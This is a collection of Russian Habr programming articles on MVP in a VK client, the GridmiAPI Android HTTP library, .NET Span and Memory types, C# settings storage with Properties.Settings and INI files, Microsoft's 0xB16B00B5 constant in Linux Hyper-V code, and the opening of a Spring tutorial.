Таким образом контейнер может содержать как конструкторы объектов, так и сами объекты, как это сделано с Settings и VKGroupHelperWorker (клиент ВК API), образуя множество всех используемых ресурсов приложения. Полезной особенностью контейнера является то, что все эти внедрённые ресурсы, классы могут получить через аргументы конструктора. Например
ApplicationController, IMainFormView, VKGroupHelperWorker — ранее внедрённые зависимости, которые могут быть как конструкторами объектов так и инстансами. В случае если был внедрён инстанс, то все образуемые объекты будут работать с одним и тем же инстансом, что позволяет избавиться от паттерна синглтон, если он использовался.
```
public MainFormPresenter(ApplicationController applicationController, IMainFormView mainForm, Settings settings, VKGroupHelperWorker vk)
{
_view = mainForm;
_settings = settings;
_vk = vk;
_view.Login += () => Login();
_view.Close += () => Close();
_view.VKUpload += () => VKUpload();
}
```
Внедрение MVP мне позволило:
* частично избавиться от Singleton, который я использовал для работы с настройками приложения;
* отделить BL от View, тем самым улучшив разделение кода (SRP);
* выработать подход к дальнейшему расширению приложения, не загромождая View.
Подробнее о том что было сделано можно посмотреть в [репозитории проекта](https://github.com/vailukhin/VKGroupHelper). | https://habr.com/ru/post/502358/ | null | ru | null |
# GridmiAPI — простая и гибкая библиотека Android для работы с REST&RPC
Здравствуйте, хабровчане!
Когда занимаешься разработкой сетевых приложений под платформу Android, понимаешь, что одно и другое приложение похоже друг на друга. С этой мыслью у большинства разработчиков инициализируется и другая мысль — «Почему бы мне не использовать какие-либо готовые решения, ведь явно моя задача не нова?». С этого момента начинается поиск подходящих библиотек для решения актуального на сей момент вопроса. По истечению некоторого времени — профит. Казалось бы всё хорошо, ведь библиотека найдена и осталась только написать реализацию решения текущего вопроса. И тут начинаются проблемы. Связаны они с управлением потоков, да и вообще Java никогда не славилась своей компактностью, все «волшебство» должно быть реализовано непосредственно разработчиком. Порой я нахожу в этом только положительные стороны, ведь логика каждого проекта отличается друг от друга кардинально. Вам постоянно приходится переключатся с потока на поток, что не очень удобно и как описывалось ранее — получается громоздко. Решение данной проблемы было реализовано и ранее, но не столь компактно, как хотелось бы. На помощь приходит библиотека для работы с HTTP — [GridmiAPI](https://github.com/GRIDMI/GridmiAPI). Это максимально компактное решение, которое в свою очередь позволяет оперировать данными в реальном времени.
Рабочий процесс
---------------
Вся работа библиотеки начинается с её инициализации. Инициализация требуется единожды. Под инициализацией понимается следующая конструкция:
```
GridmiAPI.init("https://habr.com/API/", 8000, JSONObject.class);
```
1. Адрес конечного узла обработки запросов
2. Время ожидания ответа сервера
3. Класс, к типу которого должен быть приведен ответ сервера
Вот и всё! Библиотека готова к полноценному использованию.
Первый запрос к серверу
-----------------------
Чтобы выполнить первый запрос к серверу, требуется написать всего несколько строк кода и требуемые нами данные у нас. Не верите? Смотрите:
```
GridmiAPI.onRequest(this, new GridmiAPI.Request("profile/get"), new GridmiAPI.Handler.OUT() {
@Override
protected void onSuccess(GridmiAPI.Response response) {
Log.d("TagGridmiAPI", "result = " + ((JSONObject) response.getData()).toString());
}
@Override
protected void onFailed(Exception exception) {
Log.d("TagGridmiAPI", "exception = " + exception.getMessage());
}
}).start();
```
Поздравляю! Это Ваш «Hello world!» с использованием данной библиотеки. Давайте рассмотрим два переписанных метода класса GridmiAPI.Handler.OUT. Для начала следует написать, что эти два метода вызываются в основном потоке, поэтому по завершению запроса нет смысла обращаться к активности чтобы запустить основной поток. Вы просто берете JSON к примеру и меняете текст TextView. Все просто.
Отправить файл на сервер
------------------------
Очень часто приходится отправлять файлы на сервер. Вновь головная боль? Никак нет. Библиотека GridmiAPI позволяет очень просто отправить файл без головной боли. Чуть больше строк чем в примере выше, но все так же компактно. Вот как можно отправить файл:
```
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (data == null || data.getData() == null) return;
try {
// Экземпляр запроса к серверу
GridmiAPI.Request request = new GridmiAPI.Request("POST", "photo/add");
// Создаем экземпляр многосоставного тела запроса
GridmiAPI.Multipart multipart = new GridmiAPI.Multipart(getContentResolver());
multipart.appendData("photo", data.getData());
// Установить тело запроса
request.setBody(multipart);
// Отправить запрос
GridmiAPI.onRequest(this, request, new GridmiAPI.Handler.OUT() {
@Override
protected void onSuccess(GridmiAPI.Response response) {
try {
// Получить результат с тела запроса
boolean result = ((JSONObject) response.getData()).getBoolean("result");
// Уведомление
Toast.makeText(MainActivity.this, result ? "Загружено!" : "Ошибка!", Toast.LENGTH_LONG).show();
} catch (Exception exception) {
this.onFailed(exception);
}
}
@Override
protected void onFailed(Exception exception) {
// Уведомление о текущем исключении
Toast.makeText(MainActivity.this, exception.getMessage(), Toast.LENGTH_LONG).show();
}
}).start();
} catch (Exception exception) {
Toast.makeText(this, exception.getMessage(), Toast.LENGTH_LONG).show();
}
}
```
Заключение
----------
Мы рассмотрели самые популярные задачи, более детально Вы можете ознакомится на странице данной библиотеки на GitHub — [GridmiAPI](https://github.com/GRIDMI/GridmiAPI). Работать с данной библиотекой комфортно. Оцените сами. Спасибо Вам за то, что проявили интерес к данной статье!
Ссылки
------
[Библиотека GridmiAPI](https://github.com/GRIDMI/GridmiAPI)
[Документация / ReadMe.md](https://github.com/GRIDMI/GridmiAPI/blob/master/README.md) | https://habr.com/ru/post/470570/ | null | ru | null |
# [DotNetBook] Span, Memory и ReadOnlyMemory
 Этой статьей я продолжаю публиковать целую серию статей, результатом которой будет книга по работе .NET CLR, и .NET в целом. За ссылками — добро пожаловать под кат.
Memory и ReadOnlyMemory
-----------------------
Визуальных отличий `Memory` от `Span` два. Первое — тип `Memory` не содержит ограничения `ref` в заголовке типа. Т.е., другими словами, тип `Memory` имеет право находиться не только на стеке, являясь либо локальной переменной либо параметром метода либо его возвращаемым значением, но и находиться в куче, ссылаясь оттуда на некоторые данные в памяти. Однако эта маленькая разница создает огромную разницу в поведении и возможностях `Memory` в сравнении с `Span`. В отличии от `Span`, который представляет собой *средство пользования* неким буфером данных для некоторых методов, тип `Memory` предназначен для *хранения* информации о буфере, а не для работы с ним.
> ### Примечание
>
>
>
> Глава, опубликованная на Хабре не обновляется и возможно, уже несколько устарела. А потому, прошу обратиться за более свежим текстом к оригиналу:
>
>
>
> *  CLR Book: [GitHub, оглавление](https://github.com/sidristij/dotnetbook/)
> *  CLR Book: [GitHub, глава](https://github.com/sidristij/dotnetbook/blob/master/MemorySpan.md)
> *  Релиз 0.5.2 книги, PDF: [GitHub Release](https://github.com/sidristij/dotnetbook/releases/tag/0.5.2)
>
>
>
>
[](https://habr.com/ru/company/clrium/blog/465081/)
Отсюда возникает разница в API:
* `Memory` не содержит методов доступа к данным, которыми он заведует. Вместо этого он имеет свойство `Span` и метод `Slice`, которые возвращают рабочую лошадку — экземпляр типа `Span`.
* `Memory` дополнительно содержит метод `Pin()`, предназначенный для сценариев, когда хранящийся буфер необходимо передать в `unsafe` код. При его вызове для случаев, когда память была выделена в .NET, буфер будет закреплен (pinned) и не будет перемещаться при срабатывании GC, возвращая пользователю экземпляр структуры `MemoryHandle`, инкапсулирующей в себе понятие отрезка жизни `GCHandle`, закрепившего буфер в памяти:
```
public unsafe struct MemoryHandle : IDisposable
{
private void* _pointer;
private GCHandle _handle;
private IPinnable _pinnable;
///
/// Создает MemoryHandle для участка памяти
///
public MemoryHandle(void* pointer, GCHandle handle = default, IPinnable pinnable = default)
{
_pointer = pointer;
_handle = handle;
_pinnable = pinnable;
}
///
/// Возвращает указатель на участок памяти, который как предполагается, закреплен и данный адрес не поменяется
///
[CLSCompliant(false)]
public void* Pointer => _pointer;
///
/// Освобождает \_handle и \_pinnable, также сбрасывая указатель на память
///
public void Dispose()
{
if (_handle.IsAllocated)
{
_handle.Free();
}
if (_pinnable != null)
{
_pinnable.Unpin();
_pinnable = null;
}
_pointer = null;
}
}
```
Однако, для начала предлагаю познакомиться со всем набором классов. И в качестве первого из них, взглянем на саму структуру `Memory` (показаны не все члены типа, а показавшиеся наиболее важными):
```
public readonly struct Memory
{
private readonly object \_object;
private readonly int \_index, \_length;
public Memory(T[] array) { ... }
public Memory(T[] array, int start, int length) { ... }
internal Memory(MemoryManager manager, int length) { ... }
internal Memory(MemoryManager manager, int start, int length) { ... }
public int Length => \_length & RemoveFlagsBitMask;
public bool IsEmpty => (\_length & RemoveFlagsBitMask) == 0;
public Memory Slice(int start, int length);
public void CopyTo(Memory destination) => Span.CopyTo(destination.Span);
public bool TryCopyTo(Memory destination) => Span.TryCopyTo(destination.Span);
}
```
Помимо указания полей структуры я решил дополнительно указать на то, что существует еще два `internal` конструктора типа, работающих на основании еще одной сущности — `MemoryManager`, речь о котором зайдет несколько дальше и что не является чем-то, о чем вы, возможно, только что подумали: менеджером памяти в классическом понимании. Однако, как и `Span`, `Memory` точно также содержит в себе ссылку на объект, по которому будет производить навигация, а также смещение и размер внутреннего буфера. Также, дополнительно, стоит отметить что `Memory` может быть создан оператором `new` только на основании массива плюс методами расширения — на основании строки, массива и `ArraySegment`. Т.е. его создание на основании unmanaged памяти вручную не подразумевается. Однако, как мы видим, существует некий внутренний метод создания этой структуры на основании `MemoryManager`:
**Файл [MemoryManager.cs](https://github.com/dotnet/corefx/blob/master/src/Common/src/CoreLib/System/Buffers/MemoryManager.cs)**
```
public abstract class MemoryManager : IMemoryOwner, IPinnable
{
public abstract MemoryHandle Pin(int elementIndex = 0);
public abstract void Unpin();
public virtual Memory Memory => new Memory(this, GetSpan().Length);
public abstract Span GetSpan();
protected Memory CreateMemory(int length) => new Memory(this, length);
protected Memory CreateMemory(int start, int length) => new Memory(this, start, length);
void IDisposable.Dispose()
protected abstract void Dispose(bool disposing);
}
```
> Я позволю себе несколько поспорить с терминологией, которую ввели в команде CLR, назвав тип именем MemoryManager. Когда я его увидел, то сначала решил что это будет что-то типа менеджмента памяти, но ручного, отличного от LOH/SOH. Но был сильно разочарован, увидев реальность. Возможно, стоило назвать его по анаолгии с интерфейсом: MemoryOwner.
>
>
Которая инкапсулирует в себе понятие владельца участка памяти. Другими словами если `Span` — средство работы с памятью, `Memory` — средство хранения информации о конкретном участке, то `MemoryManager` — средство контроля его жизни, его владелец. Для примера можно взять тип `NativeMemoryManager`, который хоть и написан для тестов, однако не плохо отражает суть понятия "владение":
**Файл [NativeMemoryManager.cs](https://github.com/dotnet/corefx/blob/888088448ac5dd1053d88434dfd819dcbc0fd9a1/src/Common/tests/System/Buffers/NativeMemoryManager.cs)**
```
internal sealed class NativeMemoryManager : MemoryManager
{
private readonly int \_length;
private IntPtr \_ptr;
private int \_retainedCount;
private bool \_disposed;
public NativeMemoryManager(int length)
{
\_length = length;
\_ptr = Marshal.AllocHGlobal(length);
}
public override void Pin() { ... }
public override void Unpin()
{
lock (this)
{
if (\_retainedCount > 0)
{
\_retainedCount--;
if (\_retainedCount == 0)
{
if (\_disposed)
{
Marshal.FreeHGlobal(\_ptr);
\_ptr = IntPtr.Zero;
}
}
}
}
}
// Другие методы
}
```
Т.е., другими словами, класс обеспечивает возможность вложенных вызовов метода `Pin()` подсчитывая тем самым образующиеся ссылки из `unsafe` мира.
Еще одной сущностью, тесно связанной с `Memory` является `MemoryPool`, который обеспечивает пулинг экземпляров `MemoryManager` (а по факту — `IMemoryOwner`):
**Файл [MemoryPool.cs](https://github.com/dotnet/corefx/blob/f592e887e2349ed52af6a83070c42adb9d26408c/src/System.Memory/src/System/Buffers/MemoryPool.cs)**
```
public abstract class MemoryPool : IDisposable
{
public static MemoryPool Shared => s\_shared;
public abstract IMemoryOwner Rent(int minBufferSize = -1);
public void Dispose() { ... }
}
```
Который предназначен для выдачи буферов необходимого размера во временное пользование. Арендуемые экземпляры, реализующие интерфейс `IMemoryOwner` имеют метод `Dispose()`, который возвращает арендованный массив обратно в пул массивов. Причем по умолчанию вы можете пользоваться общим пулом буферов, который построен на основе `ArrayMemoryPool`:
**Файл [ArrayMemoryPool.cs](https://github.com/dotnet/corefx/blob/56dfb8834fa50f3bc61ea9b4bfdc9dcc759b6ec9/src/System.Memory/src/System/Buffers/ArrayMemoryPool.cs)**
```
internal sealed partial class ArrayMemoryPool : MemoryPool
{
private const int MaximumBufferSize = int.MaxValue;
public sealed override int MaxBufferSize => MaximumBufferSize;
public sealed override IMemoryOwner Rent(int minimumBufferSize = -1)
{
if (minimumBufferSize == -1)
minimumBufferSize = 1 + (4095 / Unsafe.SizeOf());
else if (((uint)minimumBufferSize) > MaximumBufferSize)
ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.minimumBufferSize);
return new ArrayMemoryPoolBuffer(minimumBufferSize);
}
protected sealed override void Dispose(bool disposing) { }
}
```
И на основании увиденного, вырисовывается следующая картина мира:
* Тип данных `Span` необходимо использовать в параметрах методов, если вы подразумеваете либо считывание данных (`ReadOnlySpan`), либо запись (`Span`). Но не задачу его сохранения в поле класса для использования в будущем
* Если вам необходимо хранить ссылку на буфер данных из поля класса, необходимо использовать `Memory` или `ReadOnlyMemory` — в зависимости от целей
* `MemoryManager` — это владелец буфера данных (можно не использовать: по необходимости). Необходим, когда, например, встает необходимость подсчитывать вызовы `Pin()`. Или когда необходимо обладать знаниями о том, как освобождать память
* Если `Memory` построен вокруг неуправляемого участка памяти, `Pin()` ничего не сделает. Однако, это унифицирует работу с разными типами буферов: как в случае управляемого так и в случае неуправляемого кода интерфейс взаимодействия будет одинаковым
* Каждый из типов имеет публичные конструкторы. А это значит, что вы можете пользоваться как `Span` напрямую, так и получать его экземпляр из `Memory`. Сам `Memory` вы можете создать как отдельно, так и организовать для него `IMemoryOwner` тип, который будет владеть участком памяти, на который будет ссылаться `Memory`. Частным случаем может являться любой тип, основанный на `MemoryManager`: некоторое локальное владение участком памяти (например, с подсчетом ссылок из `unsafe` мира). Если при этом необходим пуллинг таких буферов (ожидается частый траффик буферов примерно равного размера), можно возпользоваться типом `MemoryPool`.
* Если подразумевается что вам необходимо работать с `unsafe` кодом, передавая туда некий буфер данных, стоит использовать тип `Memory`: он имеет метод `Pin`, автоматизирующий фиксацию буфера в куче .NET, если тот был там создан.
* Если же вы имеете некий трафик буферов (например, вы решаете задачу парсинга текста программы или какого-то DSL), стоит воспользоваться типом `MemoryPool`, который можно организовать очень правильным образом, выдавая из пула буферы подходящего размера (например, немного большего если не нашлось подходящего, но с обрезкой `originalMemory.Slice(requiredSize)` чтобы не фрагментировать пул)
> ### Ссылка на всю книгу
>
>
>
> *  CLR Book: [GitHub](https://github.com/sidristij/dotnetbook/)
> *  Релиз 0.5.0 книги, PDF: [GitHub Release](https://github.com/sidristij/dotnetbook/releases/tag/0.5.0)
>
>
>
>
[](https://habr.com/ru/company/clrium/blog/465081/) | https://habr.com/ru/post/420051/ | null | ru | null |
# C#, способы хранения настроек программы
#### Введение
В интернете приведено очень много способов хранения настроек программы, но все они как-то разбросаны, поэтому я решил их собрать вместе и расписать, как этим пользоваться.
#### C# и app.config
На хабре уже была посвящена этому тема, поэтому… [перейти](https://habrahabr.ru/post/128517/)
#### C# и Properties.Settings
**Информация о Properties.Settings**
Организация Properties.Settings — это обычный xml файл, который можно найти в папке пользователя:
С:\ Users \ [user name] \ AppData \ Local \ [ (Project Name) or (AssemblyCompany) ] \ [name project\_cashBuild] \ [AssemblyVersion] \ user.config
Для начала нам нужно создать такие переменные для Properties.Settings. Перейдем в Properties -> Settings.settings:
**Properties -> Settings.settings in VS 2013**
Я создал 3-и переменные и выбрал область их использования: 2- область пользователь и 1- приложение.
*Различие между областями просты. Область приложения можно только читать, а пользователь — изменять и читать.*
*Вернемся к переменным:*
* Version — версия нашей программы. Определил ее строкой и областью приложение. Т.к. версия может содержать буквы (например, b — от beta). А область выбрал, чтоб не менялась наша версия приложения (т.к. AssemblyVersion редко кто использует).
* Save\_text — это переменная, куда мы будем сохранять наш текст.
* open\_sum — сколько раз мы открыли программу.
**Теперь перейдем к коду**
**Код Form1.cs**
```
namespace Habrahabr
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
this.Text += " " + Properties.Settings.Default.Version; //Добавляем в название программы, версию.
Properties.Settings.Default.open_sum++; //Добавляем +1 к кол-ву запусков программы.
label2.Text = Properties.Settings.Default.open_sum.ToString(); //выводим в Label2 кол-во запусков программы.
richTextBox1.Text = Properties.Settings.Default.Save_text; // Загружаем ранее сохраненный текст
Properties.Settings.Default.Save(); // Сохраняем переменные.
}
private void button1_Click(object sender, EventArgs e)
{
Properties.Settings.Default.Save_text = richTextBox1.Text; // Записываем содержимое richTextBox1 в Save_text
Properties.Settings.Default.Save(); // Сохраняем переменные.
MessageBox.Show("Текст сохранен", "Информация", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); // Говорим пользователю, что сохранили текст.
}
}
}
```
**Результаты работы программы**
Первый запуск, мы видим, что кол-во запусков равно 1. И теста в richTextBox1 нет.

Теперь напишем и сохраним текст.

При втором запуске мы видим, что текст сохранен, и кол-во запусков уже 2-ва.

**Вывод**
Очень удобно использовать этот объект, если надо работать в разных областях видимости в одном проекте. Метод хорош, когда вам не надо, чтоб рядовой пользователь рылся в файлах настройки программы.
#### C# и ini-файлы
С ini-файлами все на оборот, они лежат в папке рядом с программой, что позволяет пользователю изменить настройки вне-программы. Данный способ хорош, если настройки программы заносятся вручную. Например, эмулятор для запуска игры без лицензии (тотже revLoader).
Теперь перейдем к нашей теме. Для работы с таким типом файлов, нам нужно создать класс по работе с ним. Создаем класс, например «IniFile», подключаем пространство имен, которых нет:
```
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
```
А теперь разбираем по-порядку:
**Код IniFiles.cs**
```
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
namespace IniFiles
{
class IniFile
{
string Path; //Имя файла.
[DllImport("kernel32")] // Подключаем kernel32.dll и описываем его функцию WritePrivateProfilesString
static extern long WritePrivateProfileString(string Section, string Key, string Value, string FilePath);
[DllImport("kernel32")] // Еще раз подключаем kernel32.dll, а теперь описываем функцию GetPrivateProfileString
static extern int GetPrivateProfileString(string Section, string Key, string Default, StringBuilder RetVal, int Size, string FilePath);
// С помощью конструктора записываем пусть до файла и его имя.
public IniFile(string IniPath)
{
Path = new FileInfo(IniPath).FullName.ToString();
}
//Читаем ini-файл и возвращаем значение указного ключа из заданной секции.
public string ReadINI(string Section, string Key)
{
var RetVal = new StringBuilder(255);
GetPrivateProfileString(Section, Key, "", RetVal, 255, Path);
return RetVal.ToString();
}
//Записываем в ini-файл. Запись происходит в выбранную секцию в выбранный ключ.
public void Write(string Section, string Key, string Value)
{
WritePrivateProfileString(Section, Key, Value, Path);
}
//Удаляем ключ из выбранной секции.
public void DeleteKey(string Key, string Section = null)
{
Write(Section, Key, null);
}
//Удаляем выбранную секцию
public void DeleteSection(string Section = null)
{
Write(Section, null, null);
}
//Проверяем, есть ли такой ключ, в этой секции
public bool KeyExists(string Key, string Section = null)
{
return ReadINI(Section, Key).Length > 0;
}
}
}
```
Теперь переходим в основную программу.
**Код Form1.cs**
```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace IniFiles
{
public partial class Form1 : Form
{
IniFile INI = new IniFile("config.ini");
public Form1()
{
InitializeComponent();
auto_read();
}
private void auto_read()
{
if (INI.KeyExistsINI("SettingForm1", "Width"))
numericUpDown2.Value = int.Parse(INI.ReadINI("SettingForm1", "Height"));
else
numericUpDown1.Value = this.MinimumSize.Height;
if (INI.KeyExistsINI("SettingForm1", "Height"))
numericUpDown1.Value = int.Parse(INI.ReadINI("SettingForm1", "Width"));
else
numericUpDown2.Value = this.MinimumSize.Width;
if (INI.KeyExistsINI("SettingForm1", "Width"))
textBox1.Text = INI.ReadINI("Other", "Text");
this.Height = int.Parse(numericUpDown1.Value.ToString());
this.Width = int.Parse(numericUpDown2.Value.ToString());
}
private void button1_Click(object sender, EventArgs e)
{
INI.WriteINI("SettingForm1", "Height", numericUpDown2.Value.ToString());
INI.WriteINI("SettingForm1", "Width", numericUpDown1.Value.ToString());
INI.WriteINI("Other", "Text", textBox1.Text);
MessageBox.Show("Настройки SettingForm1 и Other сохранены", "Информация", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); // Говорим пользователю, что сохранили текст.
}
private void button2_Click(object sender, EventArgs e)
{
auto_read(); // Чтоб не повторяться.
}
private void button3_Click(object sender, EventArgs e)
{
INI.WriteINI("SettingForm1", "Height", numericUpDown2.Value.ToString());
INI.WriteINI("SettingForm1", "Width", numericUpDown1.Value.ToString());
this.Height = int.Parse(numericUpDown1.Value.ToString());
this.Width = int.Parse(numericUpDown2.Value.ToString());
MessageBox.Show("Настройки SettingForm1 сохранены и применены", "Информация", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); // Говорим пользователю, что сохранили текст.
}
}
}
```
**Результаты работы программы**
При первом запуска, у нас нет файла config.ini. Поэтому при проверке возвращаются fasle и мы приравниваем окно к минимальным параметрам.

Меняем параметры окна и жмем «Применить»

Редактируем файл config.ini руками и жмем загрузить.

На этом все, в следующий раз опишу работу с xml файлами и с бинарными файлами. | https://habr.com/ru/post/271483/ | null | ru | null |
# Microsoft извинилась за «оскорбление» в ядре Linux
13 июля один из разработчиков Linux Паоло Бонзини [заметил](https://lkml.org/lkml/2012/7/13/154) некрасивое слово в коде гипервизора HyperV, который был включён в ядро Linux усилиями Microsoft.
Функция сравнения версий Git выявила такой фрагмент:
```
+#define HV_LINUX_GUEST_ID_LO 0x00000000
+#define HV_LINUX_GUEST_ID_HI 0xB16B00B5
+#define HV_LINUX_GUEST_ID (((u64)HV_LINUX_GUEST_ID_HI << 32) | \
+ HV_LINUX_GUEST_ID_LO)
```
«Кто-то пытается пошутить, я полагаю?», — спрашивает Паоло Бонзини.
Константу 0xB16B00B5 для гостевой ОС Linux можно прочитать как B16 B00B5, то есть BIG BOOBS.
Подобная наглость со стороны Microsoft вызвала неодобрение у разработчиков Linux. Они [обратили внимание](http://mjg59.dreamwidth.org/14955.html), что в оригинальном коде гипервизора была также константа [0x0B00B135](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=drivers/staging/hv/Hv.h;h=cbc77d2d086a41c00fc9139047ee989555f7e09e;hb=3e7ee4902fe6996048f03433dd111426db3cfa92#l62) (BOOBIES), так что это не совпадение. Microsoft однозначно пытается внедрять пошлые словечки прямо в ядро Linux.
Претензии к Microsoft на этом не заканчиваются.
В школьном жаргоне выражением big boobs презрительно называют девчонок, которые затесались в мальчишеский коллектив. В гипервизоре Hyper-V эта константа относится к Linux-окружениям, запускаемым под управлением HyperV.
Статистика показывает, что в ядре Linux всё чаще встречаются [странные слова](http://www.vidarholen.net/contents/wordcount/). Но для активистов Open Source одно дело — простое ругательство, и совсем другое дело — хитрые подвохи от Microsoft. Ведь эти ребята из Microsoft потом могут втихую смеяться в своём кругу, мол, смотрите, что мы вставили в этот Linux. Кроме того, такие выражения оскорбительны для женщин, по этому поводу уже высказалась Мэйрин Даффи (Máirín Duffy) из Fedora Team. Она спрашивает — в какой профессиональной среде, кроме мира Open Source, можно встретить такие выражения в постоянном использовании?
Вчера компания Microsoft [принесла официальные извинения](http://www.networkworld.com/community/blog/microsoft-code-contains-phrase-big-boobs-yes-really) за инцидент: «Мы благодарим сообщество за информацию по этому вопросу и приносим извинения за оскорбляющую строку. Мы отправили патч, который исправляет эту проблему, изменения вступят в силу со следующей версией ядра», — сказано в комментарии Microsoft. | https://habr.com/ru/post/148126/ | null | ru | null |
# Крэши, вызванные исключениями
На прошлой неделе я вместе с несколькими моими коллегами учавствовал в громкой речи о том факте, что Go обрабатывает ошибки в ожидаемых сценариях посредством возвращения кода ошибки вместо использования исключений или другого схожего механизма. Это довольно спорная тема, потому что люди привыкли избегать ошибки с помощью исключений, а Go возвращает [улучшенную версию](http://golang.org/doc/articles/error_handling.html) хорошо известной модели, ранее принятой несколькими языками — включая C — при которой ошибки передаются через возвращаемые значения. Это значит, что ошибки маячат перед глазами программиста и вынуждают иметь с ними дело *все время*. Кроме того, спор переходит в направление того факта, что в языках с исключениями каждая ошибка безо всяких дополнительных действий несет в себе полную информацию о том, что и где произошло, а это может быть полезно в некоторых случаях.
Однако все эти удобства имею стоимость, которую легко сформулировать:
***Исключения учат разработчиков не заботиться об ошибках.***
Печальным следствием является то, что это актуально, даже если Вы блестящий разработчик, так как на Вас оказывает влияние окружающий мир, который снисходителен к ошибкам. Проблема проявится в библиотеках, которые Вы импортируете, в приложениях, установленных на ваш компьютер, а также *на серверах, которые хранят ваши данные*.
Реймонд Чен так описал эту проблему [в 2004](http://blogs.msdn.com/b/oldnewthing/archive/2004/04/22/118161.aspx):
> Написание корректного кода в модели с выбрасыванием исключений в некотором смысле труднее, чем в модели с возвращением кода ошибки, так как что угодно может потерпеть неудачу и Вы должны быть готовы к этому. В модели с возвращением кода ошибки, момент когда вы должны произвести проверку на наличие ошибок очевиден: как только вы получили код ошибки. В модели с исключениями Вы просто должны знать, что ошибки могут произойти в любом месте.
>
>
>
> Другими словами, в модели с возвращением кода ошибки, когда кто-то пропускает обработку ошибки это происходит явно: они не проверяют код ошибки. В то же время в модели с выбрасыванием исключений при рассмотрении кода, в котором кто-то обрабатывает ошибку все не так ясно, так как ошибка не указана явно.
>
> (…)
>
> Когда Вы пишете код, задумываетесь ли Вы о том, каковы могут быть последствия каждого исключения, которое может возникнуть каждой строчке кода? Вы должны делать это, если собираетесь писать корректный код.
Это абсолютно верно. Каждая строка, которая может вызвать исключение несет скрытую ветку «else» для ошибочного сценария, о которой очень легко забыть. Даже если внедрение кода для обработки ошибок кажется бессмысленным повторением, его написание заставляет разработчиков помнить об альтернативном сценарии, и довольно часто этот код оказывается не пустым.
Я не первый раз пишу об этом и, учитывая споры, которые окружают это заявление, поэтому я нашел пару примеров, которые подтверждают проблему. Лучший пример, который я смог найти на сегодняшний день находится в модуле [pty](http://docs.python.org/3/library/pty.html) стандартной библиотеки Python 3.3:
```
def spawn(argv, master_read=_read, stdin_read=_read):
"""Create a spawned process."""
if type(argv) == type(''):
argv = (argv,)
pid, master_fd = fork()
if pid == CHILD:
os.execlp(argv[0], *argv)
(...)
```
Каждый раз, когда кто-нибудь вызовет этот код с неправильным именем исполняемого файла в argv, будет порожден неиспользуемый, не подверженный сборки мусора и неизвестный приложению Python процесс, потому что execlp потерпит неудачу и форкнутый процесс будет проигнорирован. И будет ли клиент этого модуля ловить исключение или нет не имеет значения. Локальное обязательство не было выполнено. Конечно ошибка может быть исправлена тривиально добавлением try/except внутрь самой функции spawn. Однако, проблема в том, что *это логика показалась нормальной всем, кто когда-либо видел эту функцию начиная [с 1994](http://hg.python.org/cpython/rev/8c9cc054c5ed#l1.99) года, когда Гвидо ван Россум впервые закоммитил ее*.
Вот другой интересный пример:
```
$ make clean
Sorry, command-not-found has crashed! Please file a bug report at:
https://bugs.launchpad.net/command-not-found/+filebug
Please include the following information with the report:
command-not-found version: 0.3
Python version: 3.2.3 final 0
Distributor ID: Ubuntu
Description: Ubuntu 13.04
Release: 13.04
Codename: raring
Exception information:
unsupported locale setting
Traceback (most recent call last):
File "/.../CommandNotFound/util.py", line 24, in crash_guard
callback()
File "/usr/lib/command-not-found", line 69, in main
enable_i18n()
File "/usr/lib/command-not-found", line 40, in enable_i18n
locale.setlocale(locale.LC_ALL, '')
File "/usr/lib/python3.2/locale.py", line 541, in setlocale
return _setlocale(category, locale)
locale.Error: unsupported locale setting
```
Это довольно серьезный крэш из-за отсутствия данных о локали в системном приложении, которое, по иронии судьбы, должно сообщать пользователям, какие пакеты надо установить, если команда отсутствует. Заметьте, что на вершине сетка ссылка на *crash\_guard*. Это функция предназначена для перехвата всех исключений на краю стека и отображении детальной системной информации и трейсбека, чтобы помочь в решении проблемы.
Такой «парашютный перехват» довольно распространен в исключение-оринетриованном программировании и это подход, как правило, дает разработчикам ложное чувство хорошей обработки ошибок в приложении. Вместо настоящей *защиты* приложения он становится просто удобным способом крэша. В данном случае, правильнее было бы вывести предупреждение, если это вообще необходимо, и позволить программе работать как обычно. Это можно было бы сделать простым оборачиванием вот этой строки:
```
try:
locale.setlocale(locale.LC_ALL, '')
except Exception as e:
print("Cannot change locale:", e)
```
Очевидно, это легко сделать. Но, опять же, проблема в том, что это было естественно не делать этого сразу. На самом деле, это более чем естественно: действительно *кажется лучше* не рассматривать ошибочный путь. В этом случае произойдет сокращение кода, он будет более прямолинейным, и в результате остается только тот, который приводит к желаемому результату.
В следствие этого, к сожалению, мы погружаемся в мир хрупкого программного обеспечения и розовых слонов. Хотя более выразительный стиль возвращения ошибок выстраивает правильное мышление: вернет ли функция или метод ошибку в результате? Как она будет обработана? Действительно ли функция взаимодействующая с системой не вернет ошибку? Как решается проблема, которая наверняка может возникнуть?
Удивительное количество крэшэй и просто непредсказуемое поведение является результатом такой непроизвольной небрежности.
[Оригинал](http://blog.labix.org/2013/04/23/exceptional-crashes) | https://habr.com/ru/post/178083/ | null | ru | null |
# Spring без XML. Часть 2
И снова день добрый. Пост в продолжение публикации [«Spring + Java EE + Persistence, без XML. Часть 1»](http://habrahabr.ru/post/262323/).
**Содержание**### [1. Введение](#1)
#### [1.1 Подгружаем проект](#11)
#### [1.2 Что мы будем делать в этой части?](#12)
### [2. Фиксим распределение ролей между пользователями](#2)
#### [2.1 Работа с базой](#21)
#### [2.2 Пишем код](#22)
### [3. Создаем контроллер UsersController](#3)
#### [3.1 Реализуем создание нового пользователя](#31)
#### [3.2 Добавляем работу с конкретным пользователем](#32)
### [4. Для желающих запустить готовый проект](#4)
### [5 Заключение](#5)
### 1. Введение
#### 1.1 Подгружаем проект
Если вы хотите с этой части начать, либо не осталось проекта сделанного в предыдущей части, можете скачать его с github.
Схема простая:
* Заходите из консоли в папку с проектами IDEA
